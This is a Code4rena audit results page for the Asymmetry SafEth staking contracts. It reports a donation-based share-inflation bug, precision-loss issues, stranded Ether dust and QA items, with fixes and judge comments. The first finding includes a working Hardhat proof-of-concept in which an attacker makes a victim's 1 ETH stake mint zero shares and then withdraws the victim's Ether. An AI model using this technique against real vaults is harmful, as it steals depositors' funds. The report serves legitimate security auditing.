Platform: Code4rena
Start Date: 24/03/2023
Pot Size: $49,200 USDC
Total HM: 20
Participants: 246
Period: 6 days
Judge: Picodes
Total Solo HM: 1
Id: 226
League: ETH
Rank: 65/246
Findings: 4
Award: $82.93
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: monrel
Also found by: 0xRajkumar, 0xfusion, AkshaySrivastav, Bahurum, Brenzee, Cryptor, Dug, Haipls, Koolex, Krace, MiloTruck, RaymondFam, RedTiger, ToonVH, Tricko, Vagner, aga7hokakological, anodaram, bart1e, bin2chen, bytes032, carrotsmuggler, ck, d3e4, giovannidisiena, igingu, juancito, mahdirostami, mert_eren, n33k, nemveer, parsely, pavankv, sashik_eth, shaka, sinarette, ulqiorra, yac
3.4908 USDC - $3.49
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L221-L223 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L63-L129
Derivative tokens can be transfered to their corresponding derivative contracts (Reth, SfrxEth, WstEth). The stake
and unstake
functions on SafEth
use those balances directly, and don't expect them to be increased without changing the totalSupply
of shares.
An adversary can can create an imbalance in the proportion between shares and tokens and exploit it.
Users can stake Ether and receive much less shares than expected. On some scenarios users can even stake Ether, and receive 0 shares, and so be losing all of the Ether they were trying to stake. Previous stakers can take profit from this and steal that Ether.
Derivatives contracts have a function called balance
that returns the actual balance of the derivative token on the contract.
// File: contracts/SafEeth/derivatives/Reth.sol function balance() public view returns (uint256) { return IERC20(rethAddress()).balanceOf(address(this)); }
Anyone can send the corresponding tokens to those addresses.
The problem is that by doing so, it affects calculations on the stake
and unstake
functions that use it.
// File: contracts/SafEeth/SafEth.sol function stake() external payable { // ... uint256 underlyingValue = 0; // Getting underlying value in terms of ETH for each derivative for (uint i = 0; i < derivativeCount; i++) underlyingValue += @> (derivatives[i].ethPerDerivative(derivatives[i].balance()) * // @audit derivatives[i].balance()) / 10 ** 18; // ... } function unstake(uint256 _safEthAmount) external { // ... for (uint256 i = 0; i < derivativeCount; i++) { // withdraw a percentage of each asset based on the amount of safETH @> uint256 derivativeAmount = (derivatives[i].balance() * // @audit _safEthAmount) / safEthTotalSupply; if (derivativeAmount == 0) continue; // if derivative empty ignore derivatives[i].withdraw(derivativeAmount); } // ... }
That results in an increased underlyingValue
value, which increases the preDepositPrice
:
// File: contracts/SafEeth/SafEth.sol // Function: stake() uint256 totalSupply = totalSupply(); uint256 preDepositPrice; // Price of safETH in regards to ETH if (totalSupply == 0) preDepositPrice = 10 ** 18; // initializes with a price of 1 @> else preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply; // @audit
That results into less mintAmount
and less share tokens than expected.
// File: contracts/SafEeth/SafEth.sol // Function: stake() // mintAmount represents a percentage of the total assets in the system @> uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice; // @audit _mint(msg.sender, mintAmount);
Given the proper setup, preDepositPrice
can be big enough to make the mintAmount
value become 0 due to precision loss, as will be demonstrated on the following test.
This test demonstrates the case where an adversary can create an imbalance on the WstEth derivative contract balance()
function, making users receive 0 shares for the Ether they deposit afterwards. Finally, the adversary claims the stolen Ether.
describe("Imbalance", function () { it.only("steals ether from users", async function () { const accounts = await ethers.getSigners(); const user = accounts[0]; const attacker = accounts[1]; // Keep track of the attacker balance to check the final balance at the end const attackerInitialBalance = await ethers.provider.getBalance( attacker.address ); // Attacker stakes 1 ETH and withdraws everything but 1 wei await safEthProxy .connect(attacker) .stake({ value: ethers.utils.parseEther("1") }); const attackerStaked = await safEthProxy.balanceOf(attacker.address); await safEthProxy.connect(attacker).unstake(attackerStaked.sub(1)); expect(await safEthProxy.balanceOf(attacker.address)).eq(1); // Attacker converts 1.1 ETH to SfrxEth and sends it to the derivative contract const wstEthAddress = "0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0"; const derivativeAddress = await safEthProxy.derivatives(2); await attacker.sendTransaction({ to: wstEthAddress, value: ethers.utils.parseEther("1.1"), }); const sfrxEth = (await ethers.getContractFactory("ERC20")).attach( wstEthAddress ); const sfrxEthBalance = await sfrxEth.balanceOf(attacker.address); sfrxEth.connect(attacker).transfer(derivativeAddress, sfrxEthBalance); // Victim stakes 1 ETH, but receives 0 SafEth shares const ethToBeStolen = { value: ethers.utils.parseEther("1") }; await safEthProxy.connect(user).stake(ethToBeStolen); expect(await safEthProxy.balanceOf(user.address)).eq(0); // Attacker unstakes his shares and receives the stolen ETH const stakedAmount = await safEthProxy.balanceOf(attacker.address); await safEthProxy.connect(attacker).unstake(stakedAmount); // Verify that the attacker received the stolen ETH const attackerFinalBalance = await ethers.provider.getBalance( attacker.address ); const expectedStolenEth = ethers.utils.parseEther("1"); const stolenEth = attackerFinalBalance.sub(attackerInitialBalance); const fees = ethers.utils.parseEther("0.1"); expect(stolenEth).gt(0); expect(stolenEth).closeTo(expectedStolenEth, fees); }); });
Manual review
Keep an internal record of the derivative token balances instead of relying on the real balance. That way, if tokens are sent on purpose, they will be disregarded from calculations.
Suggested changes for WstEth
(same changes should be applied to SfrxEth
and Reth
):
Add a variable to track the tokens:
+ uint256 public tokensBalance;
Modify the original balance
function to return this new tokenBalance
:
- function balance() public view returns (uint256) { - return IERC20(WST_ETH).balanceOf(address(this)); - } + function balance() public view returns (uint256) { + return tokensBalance; + }
Update the tokenBalance
value when adding a deposit:
function deposit() external payable onlyOwner returns (uint256) { uint256 wstEthBalancePre = IWStETH(WST_ETH).balanceOf(address(this)); // solhint-disable-next-line (bool sent, ) = WST_ETH.call{value: msg.value}(""); require(sent, "Failed to send Ether"); uint256 wstEthBalancePost = IWStETH(WST_ETH).balanceOf(address(this)); uint256 wstEthAmount = wstEthBalancePost - wstEthBalancePre; + tokensBalance += wstEthAmount; return (wstEthAmount); }
Update the tokenBalance
value when withdrawing:
function withdraw(uint256 _amount) external onlyOwner { + tokensBalance -= _amount; IWStETH(WST_ETH).unwrap(_amount); uint256 stEthBal = IERC20(STETH_TOKEN).balanceOf(address(this)); IERC20(STETH_TOKEN).approve(LIDO_CRV_POOL, stEthBal); uint256 minOut = (stEthBal * (10 ** 18 - maxSlippage)) / 10 ** 18; IStEthEthPool(LIDO_CRV_POOL).exchange(1, 0, stEthBal, minOut); // solhint-disable-next-line (bool sent, ) = address(msg.sender).call{value: address(this).balance}( "" ); require(sent, "Failed to send Ether"); }
#0 - c4-pre-sort
2023-04-01T08:08:56Z
0xSorryNotSorry marked the issue as high quality report
#1 - c4-pre-sort
2023-04-04T13:43:04Z
0xSorryNotSorry marked the issue as primary issue
#2 - toshiSat
2023-04-07T20:11:03Z
This is a duplicate of another issue
#3 - toshiSat
2023-04-07T20:12:42Z
Only valid if 1 wei in system which doesn't leave many funds at risk as well as require a significant investment from the attacker for no real gain
#4 - c4-sponsor
2023-04-07T20:12:48Z
toshiSat marked the issue as sponsor disputed
#5 - c4-judge
2023-04-19T15:01:14Z
Picodes marked the issue as satisfactory
#6 - c4-judge
2023-04-21T16:21:18Z
Picodes marked the issue as duplicate of #1098
🌟 Selected for report: ladboy233
Also found by: 0xkazim, 0xnev, Bauer, J4de, Matin, UniversalCrypto, cryptothemex, jasonxiale, juancito, koxuan, latt1ce, neumo
48.6252 USDC - $48.63
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L171-L185 https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/SfrxEth.sol#L74-L82
The minOut
value is used as the minimum amount of tokens expected to get when a trade is made. Setting a lower value means that it can accept less tokens than it should do. This is due to a precision loss error.
Trades can happen with a lower output amount than expected, receiving less derivative Ether for the protocol, and the users.
The deposit
function in the Reth
derivative contract has a precision loss when calculating minOut
, as it performs divisions before multiplications:
// File: contracts/SafEth/derivatives/Reth.sol uint rethPerEth = (10 ** 36) / poolPrice(); uint256 minOut = ((((rethPerEth * msg.value) / 10 ** 18) * ((10 ** 18 - maxSlippage))) / 10 ** 18); IWETH(W_ETH_ADDRESS).deposit{value: msg.value}(); uint256 amountSwapped = swapExactInputSingleHop( W_ETH_ADDRESS, rethAddress(), 500, msg.value, minOut ); return amountSwapped;
The withdraw
function in the SfrxEth
derivative contract has a precision loss when calculating minOut
, as it also performs divisions before multiplications:
// File: contracts/SafEth/derivatives/SfrxEth.sol function withdraw(uint256 _amount) external onlyOwner { // ... uint256 minOut = (((ethPerDerivative(_amount) * _amount) / 10 ** 18) * (10 ** 18 - maxSlippage)) / 10 ** 18; IFrxEthEthPool(FRX_ETH_CRV_POOL_ADDRESS).exchange( 1, 0, frxEthBalance, minOut ); // ... } function ethPerDerivative(uint256 _amount) public view returns (uint256) { uint256 frxAmount = IsFrxEth(SFRX_ETH_ADDRESS).convertToAssets( 10 ** 18 ); return ((10 ** 18 * frxAmount) / IFrxEthEthPool(FRX_ETH_CRV_POOL_ADDRESS).price_oracle()); }
Manual review
Avoid divisions before multiplications to minimize precision loss errors.
Suggested modifications after reorganizing the calculations and canceling common factors:
// File: contracts/SafEth/derivatives/Reth.sol - uint rethPerEth = (10 ** 36) / poolPrice(); - uint256 minOut = ((((rethPerEth * msg.value) / 10 ** 18) * - ((10 ** 18 - maxSlippage))) / 10 ** 18); + uint256 minOut = msg.value * (10 ** 18 - maxSlippage) / poolPrice(); IWETH(W_ETH_ADDRESS).deposit{value: msg.value}(); uint256 amountSwapped = swapExactInputSingleHop( W_ETH_ADDRESS, rethAddress(), 500, msg.value, minOut ); return amountSwapped;
// File: contracts/SafEth/derivatives/SfrxEth.sol function withdraw(uint256 _amount) external onlyOwner { // ... - uint256 minOut = (((ethPerDerivative(_amount) * _amount) / 10 ** 18) * - (10 ** 18 - maxSlippage)) / 10 ** 18; + uint256 frxAmount = IsFrxEth(SFRX_ETH_ADDRESS).convertToAssets(10 ** 18); + uint256 priceOracle = IFrxEthEthPool(FRX_ETH_CRV_POOL_ADDRESS).price_oracle(); + uint256 minOut = frxAmount * _amount * (10 ** 18 - maxSlippage) / priceOracle / 10 ** 18; IFrxEthEthPool(FRX_ETH_CRV_POOL_ADDRESS).exchange( 1, 0, frxEthBalance, minOut ); // ... }
#0 - c4-pre-sort
2023-04-04T16:38:31Z
0xSorryNotSorry marked the issue as duplicate of #1044
#1 - c4-judge
2023-04-22T10:30:01Z
Picodes marked the issue as satisfactory
🌟 Selected for report: ladboy233
Also found by: 0xkazim, 0xnev, Bauer, J4de, Matin, UniversalCrypto, cryptothemex, jasonxiale, juancito, koxuan, latt1ce, neumo
48.6252 USDC - $48.63
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L63-L101
The stake
function in SafEth
performs divisions before multiplications, which incur in unnecesary precission loss errors, along with other divisions that could be avoided.
Stakers receive less SafEth
shares than expected if calculated in a way to minimize precision errors.
There are several blocks on the stake
function that could be improved to reduce precision loss.
On the for
block, the underlyingValue
is divided by 10 ** 18
for each derivative. This number can be divided just once, to minimize precision loss from each division.
for (uint i = 0; i < derivativeCount; i++) underlyingValue += (derivatives[i].ethPerDerivative(derivatives[i].balance()) * derivatives[i].balance()) / 10 ** 18; // @audit
Later the underlyingValue
is used to calculate the preDepositPrice
, and with that the mintAmount
:
uint256 totalSupply = totalSupply(); uint256 preDepositPrice; // Price of safETH in regards to ETH if (totalSupply == 0) preDepositPrice = 10 ** 18; // initializes with a price of 1 else preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply; // ... uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice;
There's a division before multiplication covered on the mintAmount
calculation, that can be avoided as demonstrated here to reduce precision loss:
uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice; uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / ((10 ** 18 * underlyingValue) / totalSupply); uint256 mintAmount = totalStakeValueEth * totalSupply / underlyingValue;
Same thing happens with totalStakeValueEth
which covers another division before multiplication. And also dividing multiple times instead of just once:
uint256 totalStakeValueEth = 0; // total amount of derivatives worth of ETH in system for (uint i = 0; i < derivativeCount; i++) { // ... uint derivativeReceivedEthValue = (derivative.ethPerDerivative( depositAmount ) * depositAmount) / 10 ** 18; // @audit totalStakeValueEth += derivativeReceivedEthValue; } uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice;
Manual review
Refactor the stake
function to reduce precision loss by avoiding divisions before multiplications, and minimize errors by dividing only once when possible.
Here's a suggested refactoring, moving divisions to the end of the calculation, and simplifying factors that cancel each other like 10 ** 18 / 10 ** 18
.
function stake() external payable { require(pauseStaking == false, "staking is paused"); require(msg.value >= minAmount, "amount too low"); require(msg.value <= maxAmount, "amount too high"); uint256 underlyingValue = 0; // Getting underlying value in terms of ETH for each derivative for (uint i = 0; i < derivativeCount; i++) underlyingValue += (derivatives[i].ethPerDerivative(derivatives[i].balance()) * - derivatives[i].balance()) / - 10 ** 18; + derivatives[i].balance()); uint256 totalSupply = totalSupply(); - uint256 preDepositPrice; // Price of safETH in regards to ETH - if (totalSupply == 0) - preDepositPrice = 10 ** 18; // initializes with a price of 1 - else preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply; uint256 totalStakeValueEth = 0; // total amount of derivatives worth of ETH in system for (uint i = 0; i < derivativeCount; i++) { uint256 weight = weights[i]; IDerivative derivative = derivatives[i]; if (weight == 0) continue; uint256 ethAmount = (msg.value * weight) / totalWeight; // This is slightly less than ethAmount because slippage uint256 depositAmount = derivative.deposit{value: ethAmount}(); uint derivativeReceivedEthValue = (derivative.ethPerDerivative( depositAmount - ) * depositAmount) / 10 ** 18; + ) * depositAmount); totalStakeValueEth += derivativeReceivedEthValue; } // mintAmount represents a percentage of the total assets in the system - uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice; + uint256 mintAmount = totalSupply == 0 + ? totalStakeValueEth / 10 ** 18 + : totalStakeValueEth * totalSupply / underlyingValue; _mint(msg.sender, mintAmount); emit Staked(msg.sender, msg.value, mintAmount); }
#0 - c4-pre-sort
2023-04-02T10:22:17Z
0xSorryNotSorry marked the issue as high quality report
#1 - c4-pre-sort
2023-04-04T16:35:33Z
0xSorryNotSorry marked the issue as primary issue
#2 - c4-sponsor
2023-04-06T22:40:09Z
toshiSat marked the issue as disagree with severity
#3 - toshiSat
2023-04-06T22:40:25Z
QA, I'm not seeing the precision errors
#4 - c4-sponsor
2023-04-06T22:40:34Z
toshiSat marked the issue as sponsor acknowledged
#5 - c4-judge
2023-04-22T10:27:49Z
Picodes marked issue #1078 as primary and marked this issue as a duplicate of 1078
#6 - c4-judge
2023-04-22T10:29:53Z
Picodes marked the issue as satisfactory
🌟 Selected for report: RaymondFam
Also found by: 7siech, LeoGold, Phantasmagoria, SunSec, adeolu, anodaram, aviggiano, chaduke, d3e4, eyexploit, jasonxiale, juancito, koxuan, mojito_auditor, n33k, neumo, rotcivegaf, yac
17.681 USDC - $17.68
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L88
When users stake Ether, some dust is left from the calculations corresponding to the Ether that has to be deposited for each derivative. This is due to some precision loss when calculating the weighted amounts.
Users lose the Ether dust that is not being used for staking. The dust is locked on the SafEth
contract.
There is some precision loss in line 88: uint256 ethAmount = (msg.value * weight) / totalWeight;
Each weighted ethAmount
is deposited for each derivative, but the sum of all those amounts is less than the msg.value
. That dust is left on the contract and not returned to the user.
File: File: contracts/SafEth.sol 63: function stake() external payable { 82: 83: uint256 totalStakeValueEth = 0; // total amount of derivatives worth of ETH in system 84: for (uint i = 0; i < derivativeCount; i++) { 85: uint256 weight = weights[i]; 86: IDerivative derivative = derivatives[i]; 87: if (weight == 0) continue; 88: uint256 ethAmount = (msg.value * weight) / totalWeight; // @audit precision loss 89: 90: // This is slightly less than ethAmount because slippage 91: uint256 depositAmount = derivative.deposit{value: ethAmount}(); 92: uint derivativeReceivedEthValue = (derivative.ethPerDerivative( 93: depositAmount 94: ) * depositAmount) / 10 ** 18; 95: totalStakeValueEth += derivativeReceivedEthValue; 96: } 97: // mintAmount represents a percentage of the total assets in the system 98: uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice; 99: _mint(msg.sender, mintAmount); 100: emit Staked(msg.sender, msg.value, mintAmount); 101: }
Add the following test to the describe("Af Strategy")
in test/SafEth.test.ts
to prove that Ether dust is locked in the contract:
describe("Dust", function () { it.only("keeps ether dust in contract", async function () { const accounts = await ethers.getSigners(); const user = accounts[0]; // Verify that the contract has no Ether before the stake let safEthBalance = await ethers.provider.getBalance(safEthProxy.address); expect(safEthBalance).eq(0); // Perform stake const depositAmount = ethers.utils.parseEther("1"); await safEthProxy.connect(user).stake({ value: depositAmount }); // Verify that the contract now has some extra dust locked safEthBalance = await ethers.provider.getBalance(safEthProxy.address); expect(safEthBalance).gt(0); }); });
Manual review
Return the Ether dust not used for staking to the user:
// File: contracts/SafEth.sol function stake() external payable { // ... uint256 totalStakeValueEth = 0; // total amount of derivatives worth of ETH in system + uint256 totalValueEth = 0; for (uint i = 0; i < derivativeCount; i++) { uint256 weight = weights[i]; IDerivative derivative = derivatives[i]; if (weight == 0) continue; uint256 ethAmount = (msg.value * weight) / totalWeight; + totalValueEth += ethAmount; // This is slightly less than ethAmount because slippage uint256 depositAmount = derivative.deposit{value: ethAmount}(); uint derivativeReceivedEthValue = (derivative.ethPerDerivative( depositAmount ) * depositAmount) / 10 ** 18; totalStakeValueEth += derivativeReceivedEthValue; } // mintAmount represents a percentage of the total assets in the system uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice; - _mint(msg.sender, mintAmount); - emit Staked(msg.sender, msg.value, mintAmount); + _mint(totalValueEth, mintAmount); + uint256 dust = msg.value - totalValueEth; + (bool sent, ) = address(msg.sender).call{value: dust}(""); + require(sent, "Failed to send Ether"); + emit Staked(msg.sender, totalValueEth, mintAmount); }
#0 - c4-pre-sort
2023-04-03T09:23:59Z
0xSorryNotSorry marked the issue as high quality report
#1 - c4-pre-sort
2023-04-04T16:15:17Z
0xSorryNotSorry marked the issue as primary issue
#2 - toshiSat
2023-04-07T20:06:48Z
This will result in more gas spent by user to recover dust therefore resulting in a lower ETH balance overall.
#3 - c4-sponsor
2023-04-07T20:06:54Z
toshiSat marked the issue as sponsor disputed
#4 - c4-judge
2023-04-24T18:06:28Z
Picodes marked issue #152 as primary and marked this issue as a duplicate of 152
#5 - c4-judge
2023-04-24T21:21:16Z
Picodes marked the issue as satisfactory
🌟 Selected for report: brgltd
Also found by: 0x3b, 0xAgro, 0xGusMcCrae, 0xNorman, 0xRajkumar, 0xSmartContract, 0xTraub, 0xWagmi, 0xWaitress, 0xffchain, 0xhacksmithh, 0xkazim, 0xnev, 3dgeville, ArbitraryExecution, Aymen0909, BRONZEDISC, Bason, Bloqarl, BlueAlder, Brenzee, CodeFoxInc, CodingNameKiki, Cryptor, DadeKuma, DevABDee, Diana, Dug, Englave, Gde, Haipls, HollaDieWaldfee, Ignite, Infect3d, Jerry0x, Josiah, Kaysoft, Koko1912, KrisApostolov, Lavishq, LeoGold, Madalad, PNS, Rappie, RaymondFam, RedTiger, Rickard, Rolezn, Sathish9098, SunSec, T1MOH, UdarTeam, Udsen, Viktor_Cortess, Wander, adriro, ak1, alejandrocovrr, alexzoid, arialblack14, ayden, bin2chen, brevis, btk, c3phas, carlitox477, catellatech, ch0bu, chaduke, ck, climber2002, codeslide, descharre, dingo2077, ernestognw, fatherOfBlocks, favelanky, georgits, helios, hl_, inmarelibero, juancito, ks__xxxxx, lopotras, lukris02, m_Rassska, mahdirostami, maxper, nadin, navinavu, nemveer, p_crypt0, peanuts, pipoca, pixpi, qpzm, rbserver, reassor, roelio, rotcivegaf, scokaf, siddhpurakaran, slvDev, smaul, tnevler, tsvetanovv, turvy_fuzz, vagrant, wen, yac, zzzitron
13.1298 USDC - $13.13
The SafEth
contract and derivatives contracts have a receive
function that allows users to easily send Ether by mistake when trying to interact with them. This is not uncommon and can be prevented. Upgrading the contracts to do so would be difficult as there is no on-chain record of those transfers.
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L246
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L244
Prevent the contracts from receiving Ether from any address except the ones that they are expected to interact with.
In the case of the SafEth
, require it to only receive Ether from the derivatives contract addresses.
In the case of the derivatives, require them to only receive Ether from the SafErh
contract address, and from the pools and contracts they interact with.
The owner
role in the SafEth
contract and the derivatives contracts is critical to perform operations on the platform. In order to prevent transfering it to a wrong address by mistake, it is recommended to perform the transfer in two steps.
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L11
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L13
https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/WstEth.sol#L5
Use Ownable2StepUpgradeable instead of OwnableUpgradeable
that achieves the same original functionality with the addition of a method to confirm the the ownership.
Safety checks can prevent admin errors that could greatly harm the project, at the expense of a cheap check.
Prevent adding a derivative contract with address(0)
, which would break stake
and unstake
functions.
// File: contracts/SafEth/SafEth.sol function addDerivative( address _contractAddress, uint256 _weight ) external onlyOwner { + require(_contractAddress != 0, "Cannot be address(0)"); derivatives[derivativeCount] = IDerivative(_contractAddress); weights[derivativeCount] = _weight; derivativeCount++; uint256 localTotalWeight = 0; for (uint256 i = 0; i < derivativeCount; i++) localTotalWeight += weights[i]; totalWeight = localTotalWeight; emit DerivativeAdded(_contractAddress, _weight, derivativeCount); }
Prevent setting an excesive slippage value that can affect all trades, by defining MAX_SLIPPAGE
:
// File: contracts/SafEth/SafEth.sol function setMaxSlippage( uint _derivativeIndex, uint _slippage ) external onlyOwner { + require(_slippage <= MAX_SLIPPAGE, "Has to be lower than MAX_SLIPPAGE"); derivatives[_derivativeIndex].setMaxSlippage(_slippage); emit SetMaxSlippage(_derivativeIndex, _slippage); }
Check that the min amount value is <= than the max amount value, to prevent breaking stake
and unstake
functions:
// File: contracts/SafEth/SafEth.sol function setMinAmount(uint256 _minAmount) external onlyOwner { + require(_minAmount <= maxAmount, "minAmount has to be less than maxAmount"); minAmount = _minAmount; emit ChangeMinAmount(minAmount); } function setMaxAmount(uint256 _maxAmount) external onlyOwner { + require(_maxAmount >= minAmount, "maxAmount has to be greater than minAmount"); maxAmount = _maxAmount; emit ChangeMaxAmount(maxAmount); }
Consider adding support for path mappings in order to have a clear understanding of located dependencies and in favor of clean code.
This will allow to have imports like this:
- import "../../interfaces/IDerivative.sol"; + import "contracts/interfaces/IDerivative.sol";
Intructions on how to do so are in Hardhat documentation.
Contracts in scope have a floating Pragma version pragma solidity ^0.8.13;
.
With a floating pragma, contracts may accidentally be deployed using an outdated or problematic compiler version which can cause bugs.
Consider fixing it to a specific value like for example pragma solidity 0.8.13;
.
Contracts in scope use both uint
and uint256
indistinctively.
In order to improve consistency of the codebase, consider sticking to one of them for convention.
uint
instances:
// File: contracts/SafEth/SafEth.sol 26: event Staked(address indexed recipient, uint ethIn, uint safEthOut); 27: event Unstaked(address indexed recipient, uint ethOut, uint safEthIn); 28: event WeightChange(uint indexed index, uint weight); 29: event DerivativeAdded( 30: address indexed contractAddress, 31: uint weight, 32: uint index 33: ); 71: for (uint i = 0; i < derivativeCount; i++) 84: for (uint i = 0; i < derivativeCount; i++) { 92: uint derivativeReceivedEthValue = (derivative.ethPerDerivative( 140: for (uint i = 0; i < derivativeCount; i++) { 147: for (uint i = 0; i < derivativeCount; i++) { 203: uint _derivativeIndex, 204: uint _slippage
// File: contracts/SafEth/SafEth.sol 171: uint rethPerEth = (10 ** 36) / poolPrice(); 241: return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2);
From Solidity documentation:
"Errors allow you to define descriptive names and data for failure situations. Errors can be used in revert statements. In comparison to string descriptions, errors are much cheaper and allow you to encode additional data. You can use NatSpec to describe the error to the user."
Consider using custom errors for:
// File: contracts/SafEth/SafEth.sol 54: require(pauseStaking == false, "staking is paused"); 55: require(msg.value >= minAmount, "amount too low"); 56: require(msg.value <= maxAmount, "amount too high"); 99: require(pauseUnstaking == false, "unstaking is paused"); 117: require(sent, "Failed to send Ether");
// File: contracts/SafEth/derivatives/Reth.sol 113: require(sent, "Failed to send Ether"); 200: require(rethBalance2 > rethBalance1, "No rETH was minted");
// File: contracts/SafEth/derivatives/SfrxEth.sol 87: require(sent, "Failed to send Ether");
// File: contracts/SafEth/derivatives/WstEth.sol 66: require(sent, "Failed to send Ether"); 77: require(sent, "Failed to send Ether");
It improves readability and code clarity.
From Solidity Style Guide:
The braces denoting the body of a contract, library, functions and structs should: - open on the same line as the declaration - close on their own line at the same indentation level as the beginning of the declaration. - The opening brace should be preceded by a single space.
Consider adding curly braces to the following control structures:
// File: contracts/SafEth/SafEth.sol 71: for (uint i = 0; i < derivativeCount; i++) 72: underlyingValue += 73: (derivatives[i].ethPerDerivative(derivatives[i].balance()) * 74: derivatives[i].balance()) / 75: 10 ** 18; 79: if (totalSupply == 0) 80: preDepositPrice = 10 ** 18; // initializes with a price of 1 87: if (weight == 0) continue; 117: if (derivativeAmount == 0) continue; // if derivative empty ignore 141: if (derivatives[i].balance() > 0) 142: derivatives[i].withdraw(derivatives[i].balance()); 148: if (weights[i] == 0 || ethAmountToRebalance == 0) continue;
// File: contracts/SafEth/derivatives/Reth.sol 170: if (!poolCanDeposit(msg.value)) { 171: uint rethPerEth = (10 ** 36) / poolPrice(); 212: if (poolCanDeposit(_amount)) 213: return 214: RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18); 215: else return (poolPrice() * 10 ** 18) / (10 ** 18);
Remove unnecessary calculations of factors than can be canceled in Reth.ethPerDerivative()
:
- else return (poolPrice() * 10 ** 18) / (10 ** 18); + else return poolPrice();
Missing amount
NatSpec in Reth.withdraw()
:
/** @notice - Convert derivative into ETH */ function withdraw(uint256 amount) external onlyOwner {
Missing _slippage
NatSpec in SfrxEth.setMaxSlippage()
:
/** @notice - Owner only function to set max slippage for derivative */ function setMaxSlippage(uint256 _slippage) external onlyOwner {
Missing _slippage
NatSpec in WstEth.setMaxSlippage()
:
/** @notice - Owner only function to set max slippage for derivative */ function setMaxSlippage(uint256 _slippage) external onlyOwner {
Missing _amount
NatSpec in WstEth.withdraw()
:
/** @notice - Owner only function to Convert derivative into ETH @dev - Owner is set to SafEth contract */ function withdraw(uint256 _amount) external onlyOwner {
#0 - c4-sponsor
2023-04-10T20:44:46Z
toshiSat marked the issue as sponsor confirmed
#1 - c4-judge
2023-04-24T18:38:18Z
Picodes marked the issue as grade-b